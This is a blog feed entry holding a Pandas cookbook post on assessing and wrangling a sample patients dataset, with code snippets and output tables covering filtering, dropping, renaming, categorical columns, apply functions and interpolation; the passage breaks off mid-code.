Jekyll2023-04-03T18:50:17+00:00https://herrfeder.github.io/feed.xmlH4ck and thatBlog for herrfederherrfederPandas Cookbook Part 2 (Assessing/Wrangling)2019-04-12T16:00:00+00:002019-04-12T16:00:00+00:00https://herrfeder.github.io/datascience/2019/04/12/Pandas-Assessing-Wrangling-Cookbook<p>After finishing my Udacity DataAnalyst Nanodegree I want to preserve my obtained skills using Pandas. Therefore I created a mixture of Cheat Sheet and Cookbook to go over several usecases. Maybe you will find it useful. This is Part 2 and is about Assessing and Wrangling in Pandas. I’m aiming at adding more content if I find something interesting. By The Way, although it’s Part 2 it’s the first part, as it was the easiest to collect and present the content in a readable way.</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">pandas</span> <span class="k">as</span> <span class="n">pd</span> <span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="n">np</span> </code></pre></div></div> <h2 id="assessing">Assessing</h2> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">wrangling_df</span> <span class="o">=</span> <span class="n">pd</span><span class="p">.</span><span class="n">read_csv</span><span class="p">(</span><span class="s">"patients.csv"</span><span class="p">)</span> <span class="n">wrangling_df</span><span class="p">.</span><span class="n">shape</span> </code></pre></div></div> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(503, 14) </code></pre></div></div> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">wrangling_df</span><span class="p">.</span><span class="n">head</span><span class="p">()</span> </code></pre></div></div> <div class="dataframe-wrapper"> <style scoped=""> .dataframe tbody tr th:only-of-type { vertical-align: middle; } .dataframe tbody tr th { vertical-align: top; } .dataframe thead th { text-align: right; } </style> <table border="1" class="dataframe"> <thead> <tr style="text-align: right;"> <th></th> <th>patient_id</th> <th>assigned_sex</th> <th>given_name</th> <th>surname</th> <th>address</th> <th>city</th> <th>state</th> <th>zip_code</th> <th>country</th> <th>contact</th> <th>birthdate</th> <th>weight</th> <th>height</th> <th>bmi</th> </tr> </thead> <tbody> <tr> <th>0</th> <td>1</td> <td>female</td> <td>Zoe</td> <td>Wellish</td> <td>576 Brown Bear Drive</td> <td>Rancho California</td> <td>California</td> <td>92390.0</td> <td>United States</td> <td>[email protected]</td> <td>7/10/1976</td> <td>121.7</td> <td>66</td> <td>19.6</td> </tr> <tr> <th>1</th> <td>2</td> <td>female</td> <td>Pamela</td> <td>Hill</td> <td>2370 University Hill Road</td> <td>Armstrong</td> <td>Illinois</td> <td>61812.0</td> <td>United States</td> <td>[email protected]+1 (217) 569-3204</td> <td>4/3/1967</td> <td>118.8</td> <td>66</td> <td>19.2</td> </tr> <tr> <th>2</th> <td>3</td> <td>male</td> <td>Jae</td> <td>Debord</td> <td>1493 Poling Farm Road</td> <td>York</td> <td>Nebraska</td> <td>68467.0</td> <td>United States</td> <td>[email protected]</td> <td>2/19/1980</td> <td>177.8</td> <td>71</td> <td>24.8</td> </tr> <tr> <th>3</th> <td>4</td> <td>male</td> <td>Liêm</td> <td>Phan</td> <td>2335 Webster Street</td> <td>Woodbridge</td> <td>NJ</td> <td>7095.0</td> <td>United States</td> <td>[email protected]+1 (732) 636-8246</td> <td>7/26/1951</td> <td>220.9</td> <td>70</td> <td>31.7</td> </tr> <tr> <th>4</th> <td>5</td> <td>male</td> <td>Tim</td> <td>Neudorf</td> <td>1428 Turkey Pen Lane</td> <td>Dothan</td> <td>AL</td> <td>36303.0</td> <td>United States</td> <td>[email protected]</td> <td>2/18/1928</td> <td>192.3</td> <td>27</td> <td>26.1</td> </tr> </tbody> </table> </div> <h3 id="summarize-boolean-occurences">Summarize boolean occurences</h3> <p>By multiplying a boolean with one, we can turn it into a integer and are able to sum up all occurences:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">(</span><span class="mi">1</span><span class="o">*</span><span class="p">(</span><span class="n">wrangling_df</span><span class="p">[</span><span class="s">'given_name'</span><span class="p">]</span> <span class="o">==</span> <span class="s">"Jake"</span><span class="p">)).</span><span class="nb">sum</span><span class="p">()</span> </code></pre></div></div> <p>1</p> <h3 id="get-column-keys">Get Column Keys</h3> <p>Save column names into a list:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">wrangling_df</span><span class="p">.</span><span class="n">keys</span><span class="p">()[</span><span class="o">-</span><span class="mi">3</span><span class="p">:].</span><span class="n">tolist</span><span class="p">()</span> </code></pre></div></div> <p>[‘weight’, ‘height’, ‘bmi’]</p> <h3 id="filtering">Filtering</h3> <p>Retrieve categorical values based on occurence limit in dataframe:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="n">x</span> <span class="k">for</span> <span class="n">x</span><span class="p">,</span><span class="n">y</span> <span class="ow">in</span> <span class="nb">list</span><span class="p">(</span><span class="n">wrangling_df</span><span class="p">[</span><span class="s">'height'</span><span class="p">].</span><span class="n">value_counts</span><span class="p">().</span><span class="n">iteritems</span><span class="p">())</span> <span class="k">if</span> <span class="n">y</span> <span class="o">&gt;</span> <span class="mi">30</span><span class="p">]</span> <span class="c1"># the result will express the heights, that occured more than thirty times in the dataframe </span></code></pre></div></div> <p>[67, 69, 65, 63, 66, 70, 72, 61]</p> <p>Return values for column where value starts with specific string. Using List Comprehension and a classical for loop to go over a DataFrame column:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="n">row</span> <span class="k">for</span> <span class="n">row</span> <span class="ow">in</span> <span class="n">wrangling_df</span><span class="p">[</span><span class="s">'given_name'</span><span class="p">]</span> <span class="k">if</span> <span class="n">row</span><span class="p">.</span><span class="n">startswith</span><span class="p">(</span><span class="s">'David'</span><span class="p">)]</span> </code></pre></div></div> <p>[‘David’, ‘David’]</p> <p>Using pandas <strong>built-in</strong> iterrows will run much faster, as it won’t call the complete Pandas Object on every loop iteration:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="n">row</span><span class="p">[</span><span class="mi">1</span><span class="p">][</span><span class="mi">2</span><span class="p">]</span> <span class="k">for</span> <span class="n">row</span> <span class="ow">in</span> <span class="n">wrangling_df</span><span class="p">.</span><span class="n">iterrows</span><span class="p">()</span> <span class="k">if</span> <span class="n">row</span><span class="p">[</span><span class="mi">1</span><span class="p">][</span><span class="mi">2</span><span class="p">].</span><span class="n">startswith</span><span class="p">(</span><span class="s">'David'</span><span class="p">)]</span> </code></pre></div></div> <p>[‘David’, ‘David’]</p> <h2 id="wrangling">Wrangling</h2> <h3 id="cleaning">Cleaning</h3> <h4 id="duplicates-and-nan-values">Duplicates and NaN values</h4> <p>Identify duplicated and null values in address column:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">wrangling_df</span><span class="p">[((</span><span class="n">wrangling_df</span><span class="p">.</span><span class="n">address</span><span class="p">.</span><span class="n">duplicated</span><span class="p">())</span> <span class="o">&amp;</span> <span class="n">wrangling_df</span><span class="p">.</span><span class="n">address</span><span class="p">.</span><span class="n">notnull</span><span class="p">())].</span><span class="n">head</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> </code></pre></div></div> <div class="dataframe-wrapper"> <style scoped=""> .dataframe tbody tr th:only-of-type { vertical-align: middle; } .dataframe tbody tr th { vertical-align: top; } .dataframe thead th { text-align: right; } </style> <table border="1" class="dataframe"> <thead> <tr style="text-align: right;"> <th></th> <th>patient_id</th> <th>assigned_sex</th> <th>given_name</th> <th>surname</th> <th>address</th> <th>city</th> <th>state</th> <th>zip_code</th> <th>country</th> <th>contact</th> <th>birthdate</th> <th>weight</th> <th>height</th> <th>bmi</th> </tr> </thead> <tbody> <tr> <th>29</th> <td>30</td> <td>male</td> <td>Jake</td> <td>Jakobsen</td> <td>648 Old Dear Lane</td> <td>Port Jervis</td> <td>New York</td> <td>12771.0</td> <td>United States</td> <td>[email protected]+1 (845) 858-7707</td> <td>8/1/1985</td> <td>155.8</td> <td>67</td> <td>24.4</td> </tr> </tbody> </table> </div> <p>Remove these values:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">clean_df</span> <span class="o">=</span> <span class="n">wrangling_df</span><span class="p">[</span><span class="o">~</span><span class="p">((</span><span class="n">wrangling_df</span><span class="p">.</span><span class="n">address</span><span class="p">.</span><span class="n">duplicated</span><span class="p">())</span> <span class="o">&amp;</span> <span class="n">wrangling_df</span><span class="p">.</span><span class="n">address</span><span class="p">.</span><span class="n">notnull</span><span class="p">())].</span><span class="n">head</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> </code></pre></div></div> <h3 id="remove-columnsvalues">Remove Columns/Values</h3> <h4 id="drop">Drop</h4> <p>Drop rows with NaN values depending on subset of columns:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">wrangling_df</span><span class="p">.</span><span class="n">dropna</span><span class="p">().</span><span class="n">shape</span> </code></pre></div></div> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(491, 14) </code></pre></div></div> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">wrangling_df</span><span class="p">.</span><span class="n">dropna</span><span class="p">(</span><span class="n">subset</span> <span class="o">=</span> <span class="p">[</span><span class="s">'surname'</span><span class="p">]).</span><span class="n">shape</span> </code></pre></div></div> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(503, 14) </code></pre></div></div> <p>Drop whole columns:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">wrangling_df</span><span class="p">.</span><span class="n">drop</span><span class="p">(</span><span class="n">columns</span><span class="o">=</span><span class="p">[</span><span class="s">'contact'</span><span class="p">,</span><span class="s">'birthdate'</span><span class="p">]).</span><span class="n">shape</span> </code></pre></div></div> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(503, 12) </code></pre></div></div> <h3 id="create-columns">Create Columns</h3> <h4 id="categorical-column">Categorical Column</h4> <p>We can create a categorical column that will only allow these values to insert:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">wrangling_df</span><span class="p">[</span><span class="s">'illness'</span><span class="p">].</span><span class="n">index</span> </code></pre></div></div> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>KeyError: 'illness' </code></pre></div></div> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">wrangling_df</span><span class="p">[</span><span class="s">'illness'</span><span class="p">]</span> <span class="o">=</span> <span class="n">pd</span><span class="p">.</span><span class="n">Series</span><span class="p">(</span><span class="n">pd</span><span class="p">.</span><span class="n">Categorical</span><span class="p">(</span><span class="n">values</span><span class="o">=</span><span class="p">[</span><span class="s">"none"</span><span class="p">]</span><span class="o">*</span><span class="nb">len</span><span class="p">(</span><span class="n">wrangling_df</span><span class="p">),</span><span class="n">categories</span><span class="o">=</span><span class="p">[</span><span class="s">"none"</span><span class="p">,</span><span class="s">"a bit"</span><span class="p">,</span><span class="s">"intermediate"</span><span class="p">,</span><span class="s">"very ill"</span><span class="p">]))</span> </code></pre></div></div> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">wrangling_df</span><span class="p">[</span><span class="s">'illness'</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="s">"bad"</span> </code></pre></div></div> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ValueError: Cannot setitem on a Categorical with a new category, set the categories first </code></pre></div></div> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">wrangling_df</span><span class="p">[</span><span class="s">'illness'</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="s">"intermediate"</span> </code></pre></div></div> <h3 id="rename-columns">Rename Columns</h3> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">wrangling_df_2</span> <span class="o">=</span> <span class="n">wrangling_df</span><span class="p">.</span><span class="n">copy</span><span class="p">()</span> </code></pre></div></div> <h4 id="different-methods-to-add-suffix-to-column-names">Different Methods to add suffix to column names</h4> <p>Use <strong>built-in</strong> pandas functions:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">wrangling_df_2</span> <span class="o">=</span> <span class="n">wrangling_df_2</span><span class="p">.</span><span class="n">add_suffix</span><span class="p">(</span><span class="s">'X'</span><span class="p">)</span> <span class="n">wrangling_df_2</span> <span class="o">=</span> <span class="n">wrangling_df_2</span><span class="p">.</span><span class="n">add_prefix</span><span class="p">(</span><span class="s">'X'</span><span class="p">)</span> <span class="n">wrangling_df_2</span><span class="p">.</span><span class="n">head</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> </code></pre></div></div> <div class="dataframe-wrapper"> <style scoped=""> .dataframe tbody tr th:only-of-type { vertical-align: middle; } .dataframe tbody tr th { vertical-align: top; } .dataframe thead th { text-align: right; } </style> <table border="1" class="dataframe"> <thead> <tr style="text-align: right;"> <th></th> <th>Xpatient_idX</th> <th>Xassigned_sexX</th> <th>Xgiven_nameX</th> <th>XsurnameX</th> <th>XaddressX</th> <th>XcityX</th> <th>XstateX</th> <th>Xzip_codeX</th> <th>XcountryX</th> <th>XcontactX</th> <th>XbirthdateX</th> <th>XweightX</th> <th>XheightX</th> <th>XbmiX</th> <th>XillnessX</th> </tr> </thead> <tbody> <tr> <th>0</th> <td>1</td> <td>female</td> <td>Zoe</td> <td>Wellish</td> <td>576 Brown Bear Drive</td> <td>Rancho California</td> <td>California</td> <td>92390.0</td> <td>United States</td> <td>[email protected]</td> <td>7/10/1976</td> <td>121.7</td> <td>66</td> <td>19.6</td> <td>intermediate</td> </tr> </tbody> </table> </div> <p>Use <strong>rename</strong> and formatter or lambda for renaming all columns:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">wrangling_df_2</span><span class="p">.</span><span class="n">rename</span><span class="p">(</span><span class="n">columns</span><span class="o">=</span><span class="s">'{}Y'</span><span class="p">.</span><span class="nb">format</span><span class="p">,</span> <span class="n">inplace</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span> <span class="n">wrangling_df_2</span><span class="p">.</span><span class="n">rename</span><span class="p">(</span><span class="n">columns</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">x</span><span class="p">:</span> <span class="n">x</span><span class="o">+</span><span class="s">'Z'</span><span class="p">,</span> <span class="n">inplace</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span> <span class="n">wrangling_df_2</span><span class="p">.</span><span class="n">head</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> </code></pre></div></div> <div class="dataframe-wrapper"> <style scoped=""> .dataframe tbody tr th:only-of-type { vertical-align: middle; } .dataframe tbody tr th { vertical-align: top; } .dataframe thead th { text-align: right; } </style> <table border="1" class="dataframe"> <thead> <tr style="text-align: right;"> <th></th> <th>Xpatient_idXYZ</th> <th>Xassigned_sexXYZ</th> <th>Xgiven_nameXYZ</th> <th>XsurnameXYZ</th> <th>XaddressXYZ</th> <th>XcityXYZ</th> <th>XstateXYZ</th> <th>Xzip_codeXYZ</th> <th>XcountryXYZ</th> <th>XcontactXYZ</th> <th>XbirthdateXYZ</th> <th>XweightXYZ</th> <th>XheightXYZ</th> <th>XbmiXYZ</th> <th>XillnessXYZ</th> </tr> </thead> <tbody> <tr> <th>0</th> <td>1</td> <td>female</td> <td>Zoe</td> <td>Wellish</td> <td>576 Brown Bear Drive</td> <td>Rancho California</td> <td>California</td> <td>92390.0</td> <td>United States</td> <td>[email protected]</td> <td>7/10/1976</td> <td>121.7</td> <td>66</td> <td>19.6</td> <td>intermediate</td> </tr> </tbody> </table> </div> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">wrangling_df_2</span> <span class="o">=</span> <span class="n">wrangling_df</span><span class="p">.</span><span class="n">copy</span><span class="p">()</span> </code></pre></div></div> <p>Use <strong>list comprehensions</strong> or the <strong>map</strong> function to do the job:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">wrangling_df_2</span><span class="p">.</span><span class="n">columns</span> <span class="o">=</span> <span class="p">[</span><span class="n">column</span> <span class="o">+</span> <span class="s">'X'</span> <span class="k">for</span> <span class="n">column</span> <span class="ow">in</span> <span class="n">wrangling_df_2</span><span class="p">.</span><span class="n">columns</span><span class="p">]</span> <span class="n">wrangling_df_2</span><span class="p">.</span><span class="n">columns</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="k">lambda</span> <span class="n">s</span><span class="p">:</span> <span class="n">s</span><span class="o">+</span><span class="s">'Y'</span><span class="p">,</span> <span class="n">wrangling_df_2</span><span class="p">.</span><span class="n">columns</span><span class="p">))</span> <span class="n">wrangling_df_2</span><span class="p">.</span><span class="n">head</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> </code></pre></div></div> <div class="dataframe-wrapper"> <style scoped=""> .dataframe tbody tr th:only-of-type { vertical-align: middle; } .dataframe tbody tr th { vertical-align: top; } .dataframe thead th { text-align: right; } </style> <table border="1" class="dataframe"> <thead> <tr style="text-align: right;"> <th></th> <th>patient_idXY</th> <th>assigned_sexXY</th> <th>given_nameXY</th> <th>surnameXY</th> <th>addressXY</th> <th>cityXY</th> <th>stateXY</th> <th>zip_codeXY</th> <th>countryXY</th> <th>contactXY</th> <th>birthdateXY</th> <th>weightXY</th> <th>heightXY</th> <th>bmiXY</th> <th>illnessXY</th> </tr> </thead> <tbody> <tr> <th>0</th> <td>1</td> <td>female</td> <td>Zoe</td> <td>Wellish</td> <td>576 Brown Bear Drive</td> <td>Rancho California</td> <td>California</td> <td>92390.0</td> <td>United States</td> <td>[email protected]</td> <td>7/10/1976</td> <td>121.7</td> <td>66</td> <td>19.6</td> <td>intermediate</td> </tr> </tbody> </table> </div> <h3 id="change-values">Change Values</h3> <h4 id="lamdbaapply-functions">Lamdba/Apply Functions</h4> <p>Using a If-Else function. We have to remember, a lambda function has to generate a return value for every iteration, therefore the else is mandatory:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">wrangling_df</span><span class="p">[</span><span class="s">'height_result'</span><span class="p">]</span> <span class="o">=</span> <span class="n">wrangling_df</span><span class="p">[</span><span class="s">'height'</span><span class="p">].</span><span class="nb">apply</span><span class="p">(</span><span class="k">lambda</span> <span class="n">x</span><span class="p">:</span> <span class="s">"extrem height"</span> <span class="k">if</span> <span class="p">(</span><span class="n">x</span> <span class="o">&gt;</span> <span class="mi">67</span><span class="p">)</span> <span class="ow">or</span> <span class="p">(</span><span class="n">x</span> <span class="o">&lt;</span> <span class="mi">60</span><span class="p">)</span> <span class="k">else</span> <span class="s">"normal height"</span><span class="p">)</span> <span class="n">wrangling_df</span><span class="p">.</span><span class="n">head</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span> </code></pre></div></div> <div class="dataframe-wrapper"> <style scoped=""> .dataframe tbody tr th:only-of-type { vertical-align: middle; } .dataframe tbody tr th { vertical-align: top; } .dataframe thead th { text-align: right; } </style> <table border="1" class="dataframe"> <thead> <tr style="text-align: right;"> <th></th> <th>patient_id</th> <th>assigned_sex</th> <th>given_name</th> <th>surname</th> <th>address</th> <th>city</th> <th>state</th> <th>zip_code</th> <th>country</th> <th>contact</th> <th>birthdate</th> <th>weight</th> <th>height</th> <th>bmi</th> <th>illness</th> <th>height_result</th> </tr> </thead> <tbody> <tr> <th>0</th> <td>1</td> <td>female</td> <td>Zoe</td> <td>Wellish</td> <td>576 Brown Bear Drive</td> <td>Rancho California</td> <td>California</td> <td>92390.0</td> <td>United States</td> <td>[email protected]</td> <td>7/10/1976</td> <td>121.7</td> <td>66</td> <td>19.6</td> <td>intermediate</td> <td>normal height</td> </tr> <tr> <th>1</th> <td>2</td> <td>female</td> <td>Pamela</td> <td>Hill</td> <td>2370 University Hill Road</td> <td>Armstrong</td> <td>Illinois</td> <td>61812.0</td> <td>United States</td> <td>[email protected]+1 (217) 569-3204</td> <td>4/3/1967</td> <td>118.8</td> <td>66</td> <td>19.2</td> <td>none</td> <td>normal height</td> </tr> <tr> <th>2</th> <td>3</td> <td>male</td> <td>Jae</td> <td>Debord</td> <td>1493 Poling Farm Road</td> <td>York</td> <td>Nebraska</td> <td>68467.0</td> <td>United States</td> <td>[email protected]</td> <td>2/19/1980</td> <td>177.8</td> <td>71</td> <td>24.8</td> <td>none</td> <td>extrem height</td> </tr> <tr> <th>3</th> <td>4</td> <td>male</td> <td>Liêm</td> <td>Phan</td> <td>2335 Webster Street</td> <td>Woodbridge</td> <td>NJ</td> <td>7095.0</td> <td>United States</td> <td>[email protected]+1 (732) 636-8246</td> <td>7/26/1951</td> <td>220.9</td> <td>70</td> <td>31.7</td> <td>none</td> <td>extrem height</td> </tr> <tr> <th>4</th> <td>5</td> <td>male</td> <td>Tim</td> <td>Neudorf</td> <td>1428 Turkey Pen Lane</td> <td>Dothan</td> <td>AL</td> <td>36303.0</td> <td>United States</td> <td>[email protected]</td> <td>2/18/1928</td> <td>192.3</td> <td>27</td> <td>26.1</td> <td>none</td> <td>extrem height</td> </tr> </tbody> </table> </div> <h4 id="use-dict-to-change-values-programmatically">Use dict to change values programmatically</h4> <p>For better performance it’s always advisable to use a apply function, instead a for loop:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Mapping from full state name to abbreviation </span><span class="n">state_abbrev</span> <span class="o">=</span> <span class="p">{</span><span class="s">'California'</span><span class="p">:</span> <span class="s">'CA'</span><span class="p">,</span> <span class="s">'New York'</span><span class="p">:</span> <span class="s">'NY'</span><span class="p">,</span> <span class="s">'Illinois'</span><span class="p">:</span> <span class="s">'IL'</span><span class="p">,</span> <span class="s">'Florida'</span><span class="p">:</span> <span class="s">'FL'</span><span class="p">,</span> <span class="s">'Nebraska'</span><span class="p">:</span> <span class="s">'NE'</span><span class="p">}</span> <span class="c1"># Function to apply </span><span class="k">def</span> <span class="nf">abbreviate_state</span><span class="p">(</span><span class="n">patient</span><span class="p">):</span> <span class="k">if</span> <span class="n">patient</span><span class="p">[</span><span class="s">'state'</span><span class="p">]</span> <span class="ow">in</span> <span class="n">state_abbrev</span><span class="p">.</span><span class="n">keys</span><span class="p">():</span> <span class="n">abbrev</span> <span class="o">=</span> <span class="n">state_abbrev</span><span class="p">[</span><span class="n">patient</span><span class="p">[</span><span class="s">'state'</span><span class="p">]]</span> <span class="k">return</span> <span class="n">abbrev</span> <span class="k">else</span><span class="p">:</span> <span class="k">return</span> <span class="n">patient</span><span class="p">[</span><span class="s">'state'</span><span class="p">]</span> <span class="n">wrangling_df</span><span class="p">[</span><span class="s">'state'</span><span class="p">]</span> <span class="o">=</span> <span class="n">wrangling_df</span><span class="p">.</span><span class="nb">apply</span><span class="p">(</span><span class="n">abbreviate_state</span><span class="p">,</span> <span class="n">axis</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span> <span class="n">wrangling_df</span><span class="p">.</span><span class="n">head</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span> </code></pre></div></div> <div class="dataframe-wrapper"> <style scoped=""> .dataframe tbody tr th:only-of-type { vertical-align: middle; } .dataframe tbody tr th { vertical-align: top; } .dataframe thead th { text-align: right; } </style> <table border="1" class="dataframe"> <thead> <tr style="text-align: right;"> <th></th> <th>patient_id</th> <th>assigned_sex</th> <th>given_name</th> <th>surname</th> <th>address</th> <th>city</th> <th>state</th> <th>zip_code</th> <th>country</th> <th>contact</th> <th>birthdate</th> <th>weight</th> <th>height</th> <th>bmi</th> <th>illness</th> <th>height_result</th> </tr> </thead> <tbody> <tr> <th>0</th> <td>1</td> <td>female</td> <td>Zoe</td> <td>Wellish</td> <td>576 Brown Bear Drive</td> <td>Rancho California</td> <td>CA</td> <td>92390.0</td> <td>United States</td> <td>[email protected]</td> <td>7/10/1976</td> <td>121.7</td> <td>66</td> <td>19.6</td> <td>intermediate</td> <td>normal height</td> </tr> <tr> <th>1</th> <td>2</td> <td>female</td> <td>Pamela</td> <td>Hill</td> <td>2370 University Hill Road</td> <td>Armstrong</td> <td>IL</td> <td>61812.0</td> <td>United States</td> <td>[email protected]+1 (217) 569-3204</td> <td>4/3/1967</td> <td>118.8</td> <td>66</td> <td>19.2</td> <td>none</td> <td>normal height</td> </tr> <tr> <th>2</th> <td>3</td> <td>male</td> <td>Jae</td> <td>Debord</td> <td>1493 Poling Farm Road</td> <td>York</td> <td>NE</td> <td>68467.0</td> <td>United States</td> <td>[email protected]</td> <td>2/19/1980</td> <td>177.8</td> <td>71</td> <td>24.8</td> <td>none</td> <td>extrem height</td> </tr> <tr> <th>3</th> <td>4</td> <td>male</td> <td>Liêm</td> <td>Phan</td> <td>2335 Webster Street</td> <td>Woodbridge</td> <td>NJ</td> <td>7095.0</td> <td>United States</td> <td>[email protected]+1 (732) 636-8246</td> <td>7/26/1951</td> <td>220.9</td> <td>70</td> <td>31.7</td> <td>none</td> <td>extrem height</td> </tr> <tr> <th>4</th> <td>5</td> <td>male</td> <td>Tim</td> <td>Neudorf</td> <td>1428 Turkey Pen Lane</td> <td>Dothan</td> <td>AL</td> <td>36303.0</td> <td>United States</td> <td>[email protected]</td> <td>2/18/1928</td> <td>192.3</td> <td>27</td> <td>26.1</td> <td>none</td> <td>extrem height</td> </tr> </tbody> </table> </div> <h4 id="normalize-extrapolate-interpolate">Normalize, Extrapolate, Interpolate</h4> <p>Normalize each row by the sum of each row:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">df</span> <span class="o">=</span> <span class="n">pd</span><span class="p">.</span><span class="n">DataFrame</span><span class="p">([[</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">],[</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">5</span><span class="p">]])</span> <span class="n">df</span><span class="p">.</span><span class="n">div</span><span class="p">(</span><span class="n">df</span><span class="p">.</span><span class="nb">sum</span><span class="p">(</span><span class="n">axis</span><span class="o">=</span><span class="mi">1</span><span class="p">),</span> <span class="n">axis</span><span class="o">=</span><span class="mi">0</span><span class="p">)</span> </code></pre></div></div> <div class="dataframe-wrapper"> <style scoped=""> .dataframe tbody tr th:only-of-type { vertical-align: middle; } .dataframe tbody tr th { vertical-align: top; } .dataframe thead th { text-align: right; } </style> <table border="1" class="dataframe"> <thead> <tr style="text-align: right;"> <th></th> <th>0</th> <th>1</th> <th>2</th> </tr> </thead> <tbody> <tr> <th>0</th> <td>0.166667</td> <td>0.333333</td> <td>0.500000</td> </tr> <tr> <th>1</th> <td>0.250000</td> <td>0.333333</td> <td>0.416667</td> </tr> </tbody> </table> </div> <p>Interpolate automatically using SciPy:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">scipy.interpolate</span> <span class="kn">import</span> <span class="n">interp1d</span> <span class="n">m</span> <span class="o">=</span> <span class="n">interp1d</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span><span class="mi">10</span><span class="p">],[</span><span class="mi">1</span><span class="p">,</span><span class="mi">100</span><span class="p">])</span> <span class="nb">int</span><span class="p">(</span><span class="n">m</span><span class="p">(</span><span class="mi">10</span><span class="p">))</span> </code></pre></div></div> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>100 </code></pre></div></div> <p>Interpolate manually:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ser</span> <span class="o">=</span> <span class="n">pd</span><span class="p">.</span><span class="n">Series</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="p">])</span> <span class="mi">100</span><span class="o">*</span><span class="p">(</span><span class="n">ser</span> <span class="o">-</span> <span class="n">ser</span><span class="p">.</span><span class="nb">min</span><span class="p">())</span> <span class="o">/</span> <span class="p">(</span><span class="n">ser</span><span class="p">.</span><span class="nb">max</span><span class="p">()</span> <span class="o">-</span> <span class="n">ser</span><span class="p">.</span><span class="nb">min</span><span class="p">())</span> </code></pre></div></div> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0 0.000000 1 33.333333 2 66.666667 3 100.000000 dtype: float64 </code></pre></div></div> <p>Extrapolate automatically using SciPy:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">m</span> <span class="o">=</span> <span class="n">interp1d</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span><span class="mi">100</span><span class="p">],[</span><span class="mi">1</span><span class="p">,</span><span class="mi">10</span><span class="p">],</span><span class="n">fill_value</span><span class="o">=</span><span class="s">"extrapolate"</span><span class="p">)</span> <span class="nb">int</span><span class="p">(</span><span class="n">m</span><span class="p">(</span><span class="mi">95</span><span class="p">))</span> </code></pre></div></div> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>9 </code></pre></div></div> <h3 id="insert-values">Insert Values</h3> <h4 id="appending-concat">Appending, Concat</h4> <p>Append rows to dataframe from noncomplete dict:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">app_dict</span> <span class="o">=</span> <span class="p">{</span><span class="s">'patient_id'</span><span class="p">:</span><span class="n">wrangling_df</span><span class="p">[</span><span class="s">'patient_id'</span><span class="p">].</span><span class="nb">max</span><span class="p">()</span><span class="o">+</span><span class="mi">1</span><span 